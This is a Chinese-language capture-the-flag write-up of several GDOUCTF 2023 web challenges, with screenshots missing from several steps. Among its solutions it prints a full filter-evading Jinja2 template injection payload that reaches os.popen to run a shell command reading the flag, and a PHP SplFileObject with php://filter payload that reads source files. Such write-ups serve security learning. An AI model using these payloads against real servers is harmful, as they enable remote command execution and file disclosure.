记录一个人打GDOUCTF2023

web题目:

hate eat snake

1.先打开题目,查看源代码,发现f12好像用不了,直接右键检查页面




2. 我开始玩了几次,发现手速还是不行,毕竟没单身 19 年,QAQ, 这速度不是人玩的,不过我看到群里真有大佬手玩贪吃蛇 666!!!

我观察了源码,发现 js 改不到,就从 css 下手吧,我改了很多没用的,比如 height,width 等等,发现都不咋行,因为蛇是按比例来改变的,都是 3~4 秒就没了


3. 我仔细观察发现这题是有格子大小,就是 <‘td’>,然后我就复制粘贴了几万个 <‘td’>, 这样贪吃蛇就会一直跑不会撞到墙。

4. 注意,要改食物上面空间部分的 td,要不然还是会撞


最终结果:

ps: 听说大佬们还有很多解题方法

1. 删除 js,等待 60s 就能出了


2. 直接控制台改分数,图片来自大佬


3. 复制网页到本地修改 js

4. 按住空格 60s

5. 按空格跳到其它界面蹦出来 flag

解法真的太多了,我只列出来部分解法







受不了一点

1.打开题目就是一段php代码


2. 我们按照要求来就行了,因为题目比较简单,我就直接放 payload


最后得到:









EZ WEB

1.我们先f12发现有提示,直接打开


2. 发现一段源代码 app.py


3. 代码审计

①用 GET 方式输入’/‘返回 index.php

②用 GET 方式输入’/src’返回 app.py

③用 PUT 方式输入’/super-secret-route-nobody-will-guess’返回 flag

那么我们就要用 PUT 方式输入,就能得到 flag

4. 直接抓包,将 GET 方法改为 PUT,成功得到 flag









ez_ze

1.直接放Myanemo大佬的payload

name={% set po=dict(po=a,p=b)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%}
{% set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%}
{% set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%}
{% set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%}
{% set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%}
{% set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%}
{%set pp=dict(pop=a,en=b)|join %}
{%print(()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)(132)|attr(ini)|attr(glo)|attr(geti)(pp)(‘tac /flag’)|attr(‘read’)() )%}


注意!!!payload为和之间的代码
将payload用url编码一下即可
注意:直接使用会报错,最后一行的(‘tac /flag’)|attr(‘read’)() )%}中的单引号 ‘’ 改成英语单引号 ''



泄露的伪装

1.用dirsearch扫除www.rar,打开




得到信息:




再打开




接下来就是代码审计了:这里直接放 payload,ctrl 是 post 提交









反方向的钟

1.这里直接放exp




2. 生成 payload
题中说了 flag 应该在 flag.php 中,因此我们直接用 php 的内置类 SplFileObject 来读取文件内容。由于没有输出,想要读取到文件里的内容要用伪协议。
POST:
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php


overover!!!



总结:

这次的比赛,我的收获还是很多的,特别是解出题目的喜悦感,很难得!!!

引用


部分wp引用Myanemo大佬